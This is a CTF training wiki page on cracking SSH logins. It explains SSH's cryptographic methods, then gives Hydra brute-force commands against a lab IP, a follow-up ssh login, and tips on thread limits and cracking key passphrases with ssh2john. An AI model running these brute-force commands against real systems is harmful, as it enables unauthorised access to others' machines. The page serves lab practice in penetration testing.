> For the complete documentation index, see [llms.txt](https://capcap-1.gitbook.io/capcap/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://capcap-1.gitbook.io/capcap/readme/ctf-modules/exploitation/password-attacks/network-services/ssh.md).

# SSH

## Cracking SSH

### What is SSH

Secure Shell — standard protocol for remote Linux access (port 22). Also available on Windows. Uses three cryptographic methods:

| Method                | Purpose                                    | Algorithms                 |
| --------------------- | ------------------------------------------ | -------------------------- |
| Symmetric encryption  | Encrypts data after connection established | AES, Blowfish, 3DES        |
| Asymmetric encryption | Initial handshake and key exchange         | RSA, ECDSA, Diffie-Hellman |
| Hashing               | Verifies data integrity                    | SHA-256, MD5               |

> If an attacker finds an **unprotected SSH private key**, they can log in without any credentials.

***

### Brute-force with Hydra

```bash
# Basic
hydra -L user.list -P password.list ssh://10.129.42.197

# Limit parallel tasks — SSH servers rate-limit too many simultaneous connections
hydra -L user.list -P password.list ssh://10.129.42.197 -t 4
```

***

### Connect after finding credentials

```bash
ssh user@10.129.42.197
```

***

### Attack Flow

```bash
# Step 1 — brute-force
hydra -L user.list -P password.list ssh://10.129.42.197 -t 4

# Step 2 — connect
ssh user@10.129.42.197
```

***

### Notes

* Always use `-t 4` for SSH — too many parallel connections get rate-limited or blocked
* If key-based auth is found during recon, crack the key passphrase with `ssh2john` + JtR instead


---

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